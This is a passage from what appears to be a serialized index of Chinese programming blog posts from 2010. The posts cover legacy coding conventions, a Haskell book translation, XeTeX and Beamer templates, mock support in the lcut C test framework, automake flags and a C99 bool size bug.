…\n*/\n在foo_test.c的开始处，开发人员记录了所有关于这个文件的所有变更信息索引，此外在该源文件中充斥着诸如：001+、002*和003-这样的注释信息，以跟踪源码的变动。\n这个遗留“惯例”的出处已无法追溯了，也许是当初没有对版本控制工具的功能特性有着很充分的认识，也许还可能是当初干脆就没有引入版本控制工具，不过无论如何，在subversion、git等版本控制工具大行其道的今天，这样的“惯例”已不再合适，它会使我们的代码不再clean。\n现在我们一般推荐采用版本控制工具的commit log与ChangeLog相结合的方式来管理和跟踪代码变更，更精确的说是使用commit log详细跟踪代码变更，而使用ChangeLog来跟踪功能变更和某些重要的bugfix。 在提倡频繁提交与集成的今天，ChangeLog会显得尤为重要，它与commit log相辅相成。如果没有ChangeLog粗线条地记录项目功能变更，指望大家从数量繁多的commit log中提炼出功能变更是不现实的、不具备可操作性的、也是不可接受的。\n#2 – 过度使用续行符\n在新项目代码里，我发现了一些使用续行符的代码，诸如：\nvoid foo(int a, int b, \\\nchar *p, \\\nstruct foo_t *f);\nprintf(\u0026quot;%s\\n\u0026quot;, \u0026ldquo;Foo Test, \\\n,Test Foo\u0026rdquo;);\nprintf(\u0026quot;%d, %s, %d\\n\u0026quot;, \\\na,\\\n\u0026ldquo;Foo Test\u0026rdquo;,\\\nb);\n我之前只是在遗留系统中见识过类似的代码，显然这是受到了遗留代码“惯例”的影响了。\n续行符，顾名思义，当一行代码过长，影响代码整体美观或超出编译器每行最大字符数限制时采用的方法，用于指示编译器续行符前后的两行实际上应作为一行处理。以前的编译器不足够智能，甚至每行支持的最大字符数也很少，有些时候确要使用续行符来辅助编码。但是如今编译器愈来愈强大，续行符的使用场合已经不多了。将上面代码改造为如下代码编译器也完成可以处理：\nvoid foo(int a, int b,\nchar *p,\nstruct foo_t *f);\nprintf(\u0026quot;%s\\n\u0026quot;, \u0026ldquo;Foo Test,\u0026rdquo;\n\u0026ldquo;,Test Foo\u0026rdquo;);\nprintf(\u0026quot;%d, %s, %d\\n\u0026quot;,\na,\n\u0026ldquo;Foo Test\u0026rdquo;,\nb);\n其中第一个printf中分属两行的字符串会被编译器自动连接成一行字符串对待，这还可以解决使用续行符导致的\u0026quot;Foo Test\u0026quot;和\u0026quot;,Test Foo\u0026quot;之间出现多余空格的情况。续行符可以用到的场合似乎只剩下多行宏定义中了。\n#3 subversion源码库中保存二进制文件\n我们的产品一直运行在Sun小型机上，CPU是Ultra Sparc，OS为Solaris，长期如此也导致了我们很少考虑可移植性问题，甚至在遗留系统中，我们直接将第三方库的sparc solaris版本的.a文件放入了Subversion的源码库中管理，这样我们Checkout出来后便可以直接链接生成可执行文件。\n这样的“惯例”延续到了新项目中，不过我们的新项目近期修改了目标，可移植性列上了日程，目标平台不再只是单一的Sparc Solaris了。如果我们继续坚守这个“惯例”，那么将会给我们带来不小的第三方库版本管理上的麻烦，甚至连Makefile都要跟随着不断做调整。所以是时候将特定目标平台的二进制.a文件从源码库中移除了，具体方法这里不赘述了。\n变化是永恒的，经常反思一下你日常工作中那些所谓的“惯例”，它们真的值得继续保留下去吗？\n","permalink":"https://tonybai.com/2010/11/15/keep-legacy-conventions-selectively/","summary":"\u003cp\u003e在工作中，我们常常会听到这样的声音：“原来的系统就是这么做的！”。\u003c/p\u003e\n\u003cp\u003e没错儿，在工作中我们潜移默化地受到了遗留系统的一些设计和实现的“惯例”的影响，另外天生携带的懒惰基因使我们很少去思考和判断这些惯例的正确性和保留的必要性。但事实上，我们确应该经常重新审视这些遗留的“惯例”，有选择的保留，并敢于放弃。\u003c/p\u003e","title":"有选择的保留遗留“惯例”"},{"content":"\u0026ldquo;A language that doesn\u0026rsquo;t affect the way you think about programming， is not worth knowing\u0026rdquo;.\n— Alan Perlis(ACM 第一任主席，图灵奖得主，1922-1990)\n《程序员修炼之道》这本书建议程序员每年应至少学习一门新的语言，以拓宽思维，避免墨守成规。今年我选择了函数式编程语言Haskell。选择Haskell的理由正如Alan Perlis所说的那样，Haskell是一门可以影响程序员编程思维的语言，我也期望通过学习Haskell来拓宽我的思维。\n开始接触Haskell后，我才发现它在国内是如此的小众(其实在国际上也很小众)，国内居然没有正式出版过Haskell相关的中文书籍，唯一可参考的像样的中文资料就是网上流传的一本免费的由乔海燕翻译的《Yet Another Haskell Tutorial》，国内出版的影印版书籍似乎也只有《真实世界的Haskell》(英文名：Real World Haskell)这一本。\n我开始学习Haskell时用的就是那本曾获得过Jolt Award大奖的《Real World Haskell\n》影印版，书很厚，是本Haskell大全。但后来发现似乎不太适合初学者。随后又在网上搜索资料，找到了Graham Hutton编写的《Programming in Haskell》这本教程。与《Real World Haskell》比起来，《Programming in Haskell》这本书就显得“单薄”了许多，加起来总共不到200页。不过这本书却非常适合函数式编程和Haskell的初学者，因为这本书是基于英国诺丁汉大学课程讲义编制而成，经过了多年实际教学检验，并且在这本书的官方主页上还可以下载到与书配套的讲义幻灯片和习题答案。\n同样是也是在这本书的主页上，我发现了这本书在2009年就已经出版了日文版和韩文版，这个让我很是受触动，为什么在好书引进方面我们也落后于日韩呢！突然脑中迸发出一个念头：要不我来试试翻译一下这本书，也算是为Haskell在中国的发展做出一些自己的贡献。\n于是在Google Code上建立了这个《Programming in Haskell》中文版翻译项目。\n最初尝试使用tiddlywiki来做中文内容的载体，后来发现使用tiddlywiki非译书之正道。为此，我还特意花了一些时间学习了一下TeX，并做了一个非专业的中文TeX模板，用于自己翻译之用。\n到目前为止，自己边学Haskell，边尝试翻译《Programming in Haskell》，并已经完成了序言以及前三章的初译。由于自己之前没有任何函数式编程语言的知识和英文翻译的经验，所以翻译起来甚感吃力。另外Graham Hutton的偏学术派的写作风格也让翻译的难度陡增不少。对于已经翻译的三个章节，自己并不甚是满意，总觉得在术语翻译，原意把握以及行文方面欠缺较多。不过经过这段时间的翻译，对Haskell以及函数式编程的理解却加深了不少，所以后续计划对已翻译的三个章节进行回顾，形成中英文对照表，纠正术语翻译错误、作者原意把握不准确的地方以及行文不通顺的地方。\n真诚的欢迎大家提出建议和意见，帮助我来审校翻译中存在的问题，共同完成这个项目。\n另外这里需声明一点：自己仅是一个Haskell爱好者和初学者，非Haskell牛人。请大家读译稿后谨慎拍砖！\n附：《Programming in Haskell》中文版翻译项目地址：http://code.google.com/p/programming-in-haskell-cn\n微软C9 函数式编程基础(使用《Programming in Haskell》这本教程)视频地址：在这里。\n","permalink":"https://tonybai.com/2010/11/14/the-chinese-translation-project-for-programming-in-haskell/","summary":"\u003cp\u003e\u003cem\u003e\u0026ldquo;A language that doesn\u0026rsquo;t affect the way you think about programming， is not worth knowing\u0026rdquo;.\u003c/em\u003e\u003c/p\u003e\n\u003cp\u003e— \u003ca href=\"http://en.wikipedia.org/wiki/Alan_Perlis\"\u003eAlan Perlis\u003c/a\u003e(ACM 第一任主席，图灵奖得主，1922-1990)\u003c/p\u003e\n\u003cp\u003e《\u003ca href=\"http://book.douban.com/subject/1152111/\"\u003e程序员修炼之道\u003c/a\u003e》这本书建议程序员每年应至少学习一门新的语言，以拓宽思维，避免墨守成规。今年我选择了函数式编程语言\u003ca href=\"http://www.haskell.org/\"\u003eHaskell\u003c/a\u003e。选择Haskell的理由正如Alan Perlis所说的那样，Haskell是一门可以影响程序员编程思维的语言，我也期望通过学习Haskell来拓宽我的思维。\u003c/p\u003e","title":"《Programming in Haskell》中文版翻译项目"},{"content":"自从有了For book的中文TeX模板后，我对TeX的热情便\u0026quot;继续\u0026quot;一发而不可收拾^_^。上周原本计划为内部的一个交流准备一个PPT，但在开始构思之前却突然想到：是否可以使用TeX完成幻灯片制作呢？Google了一下，果然有成熟解决方案-使用BEAMER。\n有了TeX基础后，学习使用Beamer构建幻灯片就显得容易了许多，用TeX创建幻灯片文档与编写普通文档差别并不大。TeX制作的幻灯片文档也是由三个部分组成：文档类声明、Preamble区和正文区。\n文档类声明中的选项为beamer，表示我们要创建幻灯片文档。\n\\documentclass{beamer} % 文档类声明\nPreamble区甚至可以复用普通TeX文档中的那些设置，这里不再赘述^_^。\n正文区的内容大多与普通TeX文档也类似，只是幻灯片使用frame来组织。每个幻灯片由一组frame构成，而每个frame又包含多个slide。\\section和\\subsection依然可以在幻灯片中使用，不过我还似乎没有发现他们的实际价值在哪里，所以我在模板中也没有使用它们。但itemize、enumerate以及block在幻灯片制作中的作用却甚是重要。以下是模板正文区内容：\n\\begin{document}\n\\begin{frame}\n\\titlepage\n\\end{frame}\n\\begin{frame}\n\\frametitle{Outline}\n\\tableofcontents\n\\end{frame}\n\\begin{frame}\n\\frametitle{first frame}\n\\framesubtitle{usage of itemize}\nThis is the first frame using \\XeTeX~and beamer.\n\\begin{itemize}\n\\item xx % first slide of this frame\n\\item yy % second slide of this frame\n\\item zz % third slide of this frame\n\\end{itemize}\n\\end{frame}\n\\begin{frame}\n\\frametitle{second frame}\n\\framesubtitle{usage of enumerate}\nThis is the second frame.\n\\begin{enumerate}\n\\item xx\n\\item yy\n\\item zz\n\\end{enumerate}\n\\end{frame}\n\\begin{frame}\n\\frametitle{third frame}\n\\framesubtitle{usage of block}\nThis is the third frame.\n\\begin{block}{Advantage}\nThe obvious disadvantage of this approach is that you have to know LaTeX in order to use Beamer.\n\\end{block}\n\\begin{block}{disadvantage}\nThe advantage is that if you know LaTeX, you can use your knowledge of LaTeX also when creating a presentation, not only when writing papers.\n\\end{block}\n\\end{frame}\n\\end{document}\n之所以称之为朴素幻灯片模板，是因为这里并不包含一些很炫的特效。Beamer手册(texdoc beamer)有240多页，相信其中可能会包含如何制作一些特效的内容。\n完整的幻灯片模板可从这里下载。\n","permalink":"https://tonybai.com/2010/11/08/a-tex-template-for-making-plain-ppt/","summary":"\u003cp\u003e自从有了For book的\u003ca href=\"http://tonybai.com/2010/11/02/a-tex-template-based-on-xetex-and-xecjk/\"\u003e中文TeX模板\u003c/a\u003e后，我对\u003ca href=\"http://tonybai.com/2010/10/18/hello-tex/\"\u003eTeX\u003c/a\u003e的热情便\u0026quot;继续\u0026quot;一发而不可收拾^_^。上周原本计划为内部的一个交流准备一个PPT，但在开始构思之前却突然想到：是否可以使用TeX完成幻灯片制作呢？Google了一下，果然有成熟解决方案-使用\u003ca href=\"http://bitbucket.org/rivanvx/beamer/wiki/Home\"\u003eBEAMER\u003c/a\u003e。\u003c/p\u003e\n\u003cp\u003e有了\u003ca href=\"http://tonybai.com/2010/10/18/hello-tex/\"\u003eTeX基础\u003c/a\u003e后，学习使用Beamer构建幻灯片就显得容易了许多，用TeX创建幻灯片文档与编写普通文档差别并不大。TeX制作的幻灯片文档也是由三个部分组成：文档类声明、Preamble区和正文区。\u003c/p\u003e\n\u003cp\u003e文档类声明中的选项为beamer，表示我们要创建幻灯片文档。\u003cbr\u003e\n\\documentclass{beamer} % 文档类声明\u003c/p\u003e\n\u003cp\u003ePreamble区甚至可以复用普通TeX文档中的那些设置，这里不再赘述^_^。\u003c/p\u003e","title":"一个制作朴素幻灯片的TeX模板"},{"content":"与\u0026quot;Hello World\u0026quot;作为编程入门时迈出的第一步相似，\u0026quot;Hello TeX\u0026ldquo;也只是学习博大精深的TeX的一块儿敲门砖，离真正的实用还差的远。\n两周前开始体验TeX，直到今天才东拼西凑地倒腾出一个够自己使用的且相对实用的基于XeTeX和xeCJK的小模板。这里分享一下，希望能给大家带来一些帮助，同时对自己也算作是一个备忘。关于TeX网上资料很多，这个模板里的东西也都是参考和融会各种资料并试验后总结而成的。如果你是TeX方面的高手，大可不必理会下面内容^_^。\n模板分三个部分：文档声明、序言(Preamble)区和正文(Body)区，下面逐个说：\n一、文档声明\n\\documentclass[a4paper,11pt,titlepage]{book} 每个TeX文档必须包含的一个命令，用来指定该文档的类型，这里类型是Book，属性：A4纸张，五号字，标题后新启一页。\n二、序言(Preamble)区\n\\usepackage{fontspec}\n\\usepackage{xunicode}\n\\usepackage{xltxtra}\n以上是XeTeX的三个主要宏包，类似于C语言的stdio.h, stdlib.h和string.h似的，一般只要使用XeTeX，就都要包含。\n\\XeTeXinputencoding \u0026ldquo;GBK\u0026rdquo;\n采用GBK字符编码集，如果你的.tex文件的编码格式是GBK，那么必须包含这行命令，否则xelatex将无法识别.tex文件中的中文字符。另外值得注意的是如果你采用include或input指令来包含其他章节.tex，那么单独章节的.tex文件中也要包含这个命令，否则也会导致xelatex编译出错。\n\\XeTeXlinebreaklocale \u0026ldquo;zh\u0026rdquo;\n\\XeTeXlinebreakskip = 0pt plus 1pt minus 0.1pt\n上面两个命令主要是为了使xelatex在进行中文断行时处理的更美观些。\n\\usepackage[colorlinks,\nlinkcolor=black,\ncitecolor=black]{hyperref}\n控制文本中的超链接内容的格式。\n\\usepackage[top=1.2in,bottom=1.2in,left=1.2in,right=1in]{geometry}\n页边距设置，这里无须多说了。\n\\title{\\XeTeX\\ 日常使用模板\\\\（基于GBK编码）}\n\\author{著：Tony Bai\\\\\n译：Tony Bai\\footnote{\\url{http://bigwhite.blogbus.com}}}\n\\date{October, 2010}\n以上是封面内容，其中\\XeTeX命令定义在xlxtra包中，如果不包含xlxtra，那么xelatex将编译失败。\n\\usepackage{fancyhdr}\n\\pagestyle{fancy}\n\\fancyhf{} \\fancyhead[LE,RO]{\\thepage} \\fancyhead[RE]{\\leftmark} \\fancyhead[LO]{\\rightmark} \\fancypagestyle{plain}{\n\\fancyhf{} \\renewcommand{\\headrulewidth}{0pt}\n}\n\\renewcommand\\chaptermark[1]{\\markboth{\\chaptername~ #1}{}}\n\\renewcommand\\sectionmark[1]{\\markright{\\thesection~ #1}}\n以上是关于页眉页脚设置，基本上是从latex notes中摘录过来，只是最后两行稍作了修改。\n\\renewcommand{\\baselinestretch}{1.25}\n设置正文行距。\n\\usepackage{titlesec}\n\\titleformat{\\chapter}{\\centering\\huge}{第\\thechapter{}章}{1em}{\\textbf}\n章节格式设置。\n% xeCJK设置\n\\usepackage[slantfont, boldfont, CJKaddspaces]{xeCJK}\n\\setmainfont{Times New Roman} \\setCJKmainfont{SimSun} \\setCJKfamilyfont{song}{SimSun}\n\\setsansfont{AR PL UKai CN}\n目前用到的唯一与xeCJK相关的地方，也没什么可说的。\n\\renewcommand{\\chaptername}{第{\\thechapter}章}\n\\renewcommand{\\contentsname}{目~录}\n默认情况下，章节的描述是英文的，比如Chapter 1 xx，这里对\\chapter作了重定义，将Chapter n改为中文描述”第n章“。\n\\usepackage[fleqn]{amsmath}\n引用数学公式包，默认公式居左。\n三、正文(Body)区\n考虑到长文档很大，编译一遍消耗时间较长，这里采用\\include命令加载其他子模块的tex文件。\n\\begin{document}\n\\maketitle % 生成title\n\\include{preface} % 序言\n\\tableofcontents % 生成目录\n\\setcounter{tocdepth}{3} % 设置目录深度\n\\include{introduction} % 第一章 导 言\n\\end{document}\n被include的preface.tex和introduction.tex的结构都很简单，以introduction.tex为例：\n\\XeTeXinputencoding \u0026ldquo;GBK\u0026rdquo; % 本文件采用GBK编码\n\\chapter{导~言}\n在这一章节中，…\n\\section{XX}\n在xx\n\\subsection{XX-1}\n在xx-1\n\\subsection{XX-2}\n在xx-2\n\\section{YY}\n在yy\n\\subsection{YY-1}\n在yy-1\n再强调一下，如果采用GBK作为.tex文件的内码，那么\\XeTeXinputencoding \u0026ldquo;GBK\u0026quot;这句是必须的，当初被这个问题折磨了半个小时才终于through它。\n另外说一下在正文编辑时经常用到的命令：\n* 强制对齐\n\\begin{flushleft}\n致谢\\\\\n\\end{flushleft}\n* 原文照搬\n\\begin{verbatim}\nxxx\n\\end{verbatim}\n如果是内容较短，可以用\\verb|xx|。\n* 列表\n\\begin{itemize} or \\begin{enumerate}\n\\item xx\n\\item yy\n\\end{itemize} or \\end{enumerate}\n这个模板还很简单，诸如索引和附录等都还未考虑。另外由于对XeTeX/LaTeX了解仍不是很透彻，所以模板中不免还有诸多问题，这里就事先打个预防针吧^_^。\n完整的模板源文件放置在我的Google code svn库里，可选择下载使用。\n","permalink":"https://tonybai.com/2010/11/02/a-tex-template-based-on-xetex-and-xecjk/","summary":"\u003cp\u003e与\u0026quot;Hello World\u0026quot;作为编程入门时迈出的第一步相似，\u0026quot;\u003ca href=\"http://tonybai.com/2010/10/18/hello-tex/\"\u003eHello TeX\u003c/a\u003e\u0026ldquo;也只是学习博大精深的\u003ca href=\"http://en.wikipedia.org/wiki/TeX\"\u003eTeX\u003c/a\u003e的一块儿敲门砖，离真正的实用还差的远。\u003c/p\u003e\n\u003cp\u003e两周前\u003ca href=\"http://tonybai.com/2010/10/18/hello-tex/\"\u003e开始体验TeX\u003c/a\u003e，直到今天才东拼西凑地倒腾出一个够自己使用的且相对实用的基于XeTeX和xeCJK的\u003ca href=\"http://code.google.com/p/bigwhite-code\"\u003e小模板\u003c/a\u003e。这里分享一下，希望能给大家带来一些帮助，同时对自己也算作是一个备忘。关于TeX网上\u003ca href=\"http://www.ctex.org/documents/packages/\"\u003e资料\u003c/a\u003e很多，这个模板里的东西也都是参考和融会各种资料并试验后总结而成的。如果你是TeX方面的高手，大可不必理会下面内容^_^。\u003c/p\u003e","title":"一个基于XeTeX和xeCJK的TeX模板"},{"content":"记得恰好是在一个月前的今天，我发布了lcut(轻量级C语言单元测试框架)0.1.0版本\n。由于发布仓促，文档没能及时跟上。在stackoverflow的一个关于单元测试的帖子\n上，一位叫Craig McQueen的朋友也给出了建议：\u0026ldquo;Some documentation would be helpful. Project background and goals, a features list, advantages over existing alternatives, etc would be helpful for people who are checking it out for the first time.\u0026rdquo; 看完这个建议后心里那个汗啊！不过一想到用E文编写文档心里就有些打怵。就这样在这一个月里文档依旧没有改观:(。不过，lcut本身还是有一些进步的，这两天一直规划着为lcut增加mock的支持，今天终于将这个功能加进了lcut，并发布了lcut-0.2.0-beta版，欢迎大家试用，并提出意见和建议。\n之前在单元测试过程中使用cmockery中提供的mock功能，cmockery也是lcut的mock功能的直接灵感来源。与cmockery不同的是lcut将对输出参数的mock和对函数返回值的mock区分开来，这样用起来更加直观。\n这里用一个简单的例子(完整代码在lcut包product_database_test.c文件中)来说明一下lcut的mock功能如何使用：\n/* product_database.c */\nint get_total_count_of_employee() {\ndatabase_conn *conn = NULL;\nint retv = -1;\nint total_count = -1;\nconn = connect_to_database(\u0026ldquo;tonybai\u0026rdquo;, \u0026ldquo;tonybai\u0026rdquo;, \u0026ldquo;mysql\u0026rdquo;);\nif (!conn)\nreturn -1;\nretv = table_row_count(conn, \u0026ldquo;EMPLOYEE_TABLE\u0026rdquo;, \u0026amp;total_count);\nif (retv \u0026lt; 0)\nreturn -1;\nreturn total_count;\n}\n/* product_database_test.c */\ndatabase_conn *connect_to_database(const char *user,\nconst char *passwd,\nconst char *serviceid) {\nreturn (database_conn*)LCUT_MOCK_RETV();\n}\nint table_row_count(const database_conn *conn,\nconst char *table_name,\nint *total_count) {\n(*total_count) = (int)LCUT_MOCK_ARG();\nreturn (int)LCUT_MOCK_RETV();\n}\nvoid tc_get_total_count_of_employee_ok(lcut_tc_t *tc, void *data) {\nLCUT_RETV_RETURN(connect_to_database, 0×1234);\nLCUT_ARG_RETURN(table_row_count, 5);\nLCUT_RETV_RETURN(table_row_count, 0);\nLCUT_INT_EQUAL(tc, 5, get_total_count_of_employee());\n}\n被mock的函数多为系统API或执行代价较高的第三方库函数，我们在业务代码更关心的是这些函数的接口行为，而C语言中函数的接口行为表现为：返回值和输出参数。我们需要通过控制被mock函数的接口行为来达到测试我们业务代码的目的，所以我们需要mock这些函数的返回值和输出参数。上面例子中connect_to_database和table_row_count就是两个被mock了的库函数。我们通过LCUT_MOCK_RETV来mock函数的返回值，通过LCUT_MOCK_ARG来mock函数的输出参数。在测试代码tc_get_total_count_of_employee_ok中，我们分别通过LCUT_RETV_RETURN和LCUT_ARG_RETURN来控制前面两个被mock的函数中mock obj的返回值和输出参数: LCUT_RETV_RETURN(connect_to_database, 0×1234)告诉connect_to_database返回(int)0×1234，相应的，LCUT_ARG_RETURN(table_row_count, 5)则告诉table_row_count执行后其输出参数*total_count的值为5。有了这些设定的mock obj我们就可以专注于我们业务层代码的白盒逻辑单元测试了，一旦connect_to_database和table_row_count的外部行为被控制后，业务层的代码get_total_count_of_employee的行为也就是可预期的了，我们用断言测试即可。\n由于实现原理限制，如果你的函数输出参数类型或返回值类型为double*/float*，那么这个函数还不能使用lcut的mock功能，否则会编译出错。但绝大多数软件开发领域都很少使用浮点计算，所以lcut的mock还是可以满足大多数需要的。\n题外话：\n在公司使用代理上网，svn无法直接访问google code，这个问题一直困扰着我，直到今天才知道可以为svn客户端设置代理，设置步骤如下：\n-\u0026gt; vi ~/.subversion/servers\n-\u0026gt; 增加如下设置：\n[global]\nhttp-proxy-host = 你的代理主机域名或ip\nhttp-proxy-port = 端口\nhttp-proxy-username = 你的用户名\nhttp-proxy-password = 你的密码\n设置后，svn立马就可以连上google code的svn server了。\n","permalink":"https://tonybai.com/2010/10/29/lcut-add-mock-support/","summary":"\u003cp\u003e记得恰好是在一个月前的今天，我\u003ca href=\"http://tonybai.com/2010/09/30/opensource-a-lightweight-c-unit-test-framework/\"\u003e发布了lcut\u003c/a\u003e(轻量级\u003ca href=\"http://tonybai.com/2005/11/08/the-design-and-implementation-of-c-unittest-framework/\"\u003eC语言单元测试框架\u003c/a\u003e)\u003ca href=\"http://code.google.com/p/lcut/\"\u003e0.1.0版本\u003c/a\u003e\u003cbr\u003e\n。由于发布仓促，文档没能及时跟上。在\u003ca href=\"http://stackoverflow.com/\"\u003estackoverflow\u003c/a\u003e的一个\u003ca href=\"http://stackoverflow.com/questions/65820/unit-testing-c-code\"\u003e关于单元测试的帖子\u003c/a\u003e\u003cbr\u003e\n上，一位叫\u003ca href=\"http://craig.mcqueen.id.au/\"\u003eCraig McQueen\u003c/a\u003e的朋友也给出了建议：\u0026ldquo;Some documentation would be helpful. Project background and goals, a features list, advantages over existing alternatives, etc would be helpful for people who are checking it out for the first time.\u0026rdquo; 看完这个建议后心里那个汗啊！不过一想到用E文编写文档心里就有些打怵。就这样在这一个月里文档依旧没有改观:(。不过，lcut本身还是有一些进步的，这两天一直规划着为lcut增加\u003ca href=\"http://tonybai.com/2008/04/12/mock-test-in-c-unit-test/\"\u003emock\u003c/a\u003e的支持，今天终于将这个功能加进了lcut，并发布了\u003ca href=\"http://code.google.com/p/lcut/\"\u003elcut-0.2.0-beta\u003c/a\u003e版，欢迎大家试用，并提出意见和建议。\u003c/p\u003e","title":"lcut增加对mock的支持"},{"content":"今天尝试使用autoconf和automake重新构建一个遗留库的Build环境。之前改造的lcut的目录结构还是相对简单，改造时并未遇到什么难题，不过今天就没那么幸运了，我在头文件目录包含设置这个看似简单的环节上遇到了一些小麻烦。\n这个库结构其实也没那么复杂，只是源文件和头文件不在一个目录下罢了：\ntestproj/\n– Makefile.am\n– configure.in\n– include/\n– xx.h\n– yy.h\n– module1\n– xx.c\n– Makefile.am\n– moudle2\n– yy.c\n– Makefile.am\n开始也没多想，参照以前的经验一步一步生成configure脚本。执行configure脚本生成Makefile文件，敲入make。在进入module1目录后，提示编译xx.c文件失败，无法找到xx.h！看了一下gcc的编译选项，的确没有-I上层的include目录，只有\u0026quot;-I.\u0026ldquo;和\u0026rdquo;-I..\u0026quot;。翻看了一下automake的manual，发现automake默认情况下是将config.h所在的目录当作-I的参数。我的configure.in中是这样设置的:AC_CONFIG_HEADERS([config.h])，怪不得无法正确设置目录呢！将该句改为AC_CONFIG_HEADERS([include/config.h])后，重新生成Makefile并执行make，这回gcc命令行上出现了\u0026quot;-I../include\u0026quot;的字样，编译也很是顺利。\n不过就这样算了，似乎总觉不妥，config.h只有一个，但如果有多个include目录的情况下该如何设置头文件包含目录呢？带着这个问题我再次翻看了automake的手册。老天不负有心人^_^，手册里确有这方面的说明。\n原来automake从autoconf里继承了很多编译时需要的变量，诸如CC, CFLAGS, CPPFLAGS, DEFS, LDFLAGS,LIBS等等。但automake也可自己设置一些编译时用到的变量，automake与Build相关的一些变量名字也都以AM_开头，诸如AM_CPPFLAGS(与CPPFLAGS对应)。在Makefile.am中设置头文件包含的方式至少有以下两种：\n* 在顶层Makefile.am中设置全局变量\nAM_CPPFLAGS = -I $(top_srcdir)/include1\nexport AM_CPPFLAGS\n这样在编译子目录（如module1)时，该全局设置也会起作用，在gcc编译命令行中你会看到-I ../include1。\n* 在子目录层Makefile.am中设置局部变量\nAM_CPPFLAGS = -I $(top_srcdir)/include2\n这里的设置仅仅影响该目录下源文件的编译，对于其他同级目录下的源文件不起作用。另外如果此时顶层的Makefile.am中依然有AM_CPPFLAGS的设置，那么子目录下的Makefile.am中的这些设置会覆盖掉顶层的定义，在gcc编译命令行中也只会看到-I include2而无-I include1。\n除了在Makefile.am中手工显式设置外，也可在执行configure脚本的时候通过传入CPPFLAGS参数来设定包含头文件位置，如configure CPPFLAGS=-I./include3。注意\u0026quot;CPPFLAGS\u0026quot;、\u0026quot;=\u0026ldquo;和后面的值之间不能有空格。在automake manual中也有这方面的说明：在命令行中这里的CPPFLAGS将被放到AM_CPPFLAGS后面并一起传给gcc。\n对于automake中的其他Build相关的AM_XXFLAGS变量，其道理也是相同的，这里就不赘述了。\n","permalink":"https://tonybai.com/2010/10/26/about-variables-related-to-building-in-makefile-am/","summary":"\u003cp\u003e今天尝试使用\u003ca href=\"http://tonybai.com/2010/09/26/hello-autoconf-and-automake/\"\u003eautoconf和automake\u003c/a\u003e重新构建一个遗留库的Build环境。之前改造的\u003ca href=\"http://tonybai.com/2010/09/30/opensource-a-lightweight-c-unit-test-framework/\"\u003elcut\u003c/a\u003e的目录结构还是相对简单，改造时并未遇到什么难题，不过今天就没那么幸运了，我在头文件目录包含设置这个看似简单的环节上遇到了一些小麻烦。\u003c/p\u003e\n\u003cp\u003e这个库结构其实也没那么复杂，只是源文件和头文件不在一个目录下罢了：\u003cbr\u003e\ntestproj/\u003cbr\u003e\n    – Makefile.am\u003cbr\u003e\n    – configure.in\u003cbr\u003e\n    – include/\u003cbr\u003e\n        – xx.h\u003cbr\u003e\n        – yy.h\u003cbr\u003e\n    – module1\u003cbr\u003e\n        – xx.c\u003cbr\u003e\n        – Makefile.am\u003cbr\u003e\n    – moudle2\u003cbr\u003e\n        – yy.c\u003cbr\u003e\n        – Makefile.am\u003c/p\u003e\n\u003cp\u003e开始也没多想，参照以前的经验一步一步生成configure脚本。执行configure脚本生成Makefile文件，敲入make。在进入module1目录后，提示编译xx.c文件失败，无法找到xx.h！看了一下\u003ca href=\"http://tonybai.com/2006/03/14/explain-gcc-warning-options-by-examples/\"\u003egcc的编译选项\u003c/a\u003e，的确没有-I上层的include目录，只有\u0026quot;-I.\u0026ldquo;和\u0026rdquo;-I..\u0026quot;。翻看了一下automake的\u003ca href=\"http://www.gnu.org/software/automake/manual\"\u003emanual\u003c/a\u003e，发现\u003ca href=\"http://www.gnu.org/software/automake/manual/automake.html#Program-Variables\"\u003eautomake\u003c/a\u003e默认情况下是将config.h所在的目录当作-I的参数。我的configure.in中是这样设置的:AC_CONFIG_HEADERS([config.h])，怪不得无法正确设置目录呢！将该句改为AC_CONFIG_HEADERS([include/config.h])后，重新生成Makefile并执行make，这回gcc命令行上出现了\u0026quot;-I../include\u0026quot;的字样，编译也很是顺利。\u003c/p\u003e","title":"关于Makefile.am中与Build相关的变量设置"},{"content":"C99 原生支持布尔类型，类型名字为_Bool。对C程序员来说，这个名字有些“不伦不类”，还好一般C标准库 实现的头文件中都用宏bool来替代_Bool。C99虽说是C语言当前的最新标准，但是它也有10年历史之久了。据说C1x标准 正在讨论制定中，有兴趣的朋友可以到标准C工作组 官方站点上去瞧瞧。\n有些跑题了^_^！其实这篇文章想说的不是C1x标准，而是一个与布尔类型有关的问题的分析解决过程。\n上周为项目的复用库增加了一个小功能，对外表现形式就是一组函数。使用lcut 对这组函数进行了详尽的单元测试 ，所有用例都顺利通过。今天和一位同事交流后，觉得应该对这个功能作些改动，针对一些异常情况作些完善。修改方案很简单，就是在一个外部可见的结构体里增加一个表示当前状态的布尔类型的字段，然后在各个函数接口中设置该字段的值并根据该字段的值做相应的处理。\n按照既定的思路修改后，原先的用例依旧可以全部pass。继续修改单元测试代码，增加针对此次改动的用例。编译并运行测试，这次则没有那么幸运-有几个用例失败了。查看失败原因，确有一两个是因为逻辑上的问题导致。\n修正后，继续运行测试，依旧有两个用例无法通过。 仔细查看了一遍库代码以及单元测试代码，没有发现明显的错误。将LCUT_TRUE断言换成LCUT_INT_EQUAL断言，重新运行测试，发现期望值为true的断言，实际值却是一个-3146789这样的大数。看到这种情况我的第一反应是：是不是内存被污染了？比如代码里有内存覆盖或Buffer溢出的情况。又仔细浏览了一遍代码，依旧没有发现蛛丝马迹。采用gdb 单步执行测试程序，无奈lcut采用了许多回调函数，导致在gdb中无法追踪到我期望的符号。未果后，我尝试换成最原始的增加打印日志输出的调试方式，终于发现了问题端倪。\n具体是这样的：在库代码和测试用例代码中，我都输出了bool类型的size，但结果却大相径庭。库代码中输出的sizeof(bool)等于1，而在测试程序中输出的值却为4，这个长度差异直接导致了前面的-3146789的出现。\n这里我要补充一下，C99的布尔类型(bool)在stdbool.h中定义：#define bool _Bool(注: _Bool是原生的)，这只有在C99下才生效。考虑到有些编译器不支持C99或默认语言标准不是C99，为了兼容，自定义了一份bool的定义，并通过预编译宏与标准定义隔开：\n#if __STDC_VERSION__ \u0026gt;= 199901L\n#include\n#else\n#undef bool\n#undef true\n#undef false\ntypedef enum {\nfalse,\ntrue\n} bool;\n#endif /* __STDC_VERSION__ \u0026gt;= 199901L */\n难道原因是库中代码采用了标准bool类型，而测试代码中采用的是自定义的bool类型？似乎没道理啊。突然间看到了屏幕上编译测试代码的gcc命令行输出：\ngcc std=c99 -c -o testall.o testall.c … (后面还有较长的链接库的参数，这里省略）\ngcc -o testall testall.c 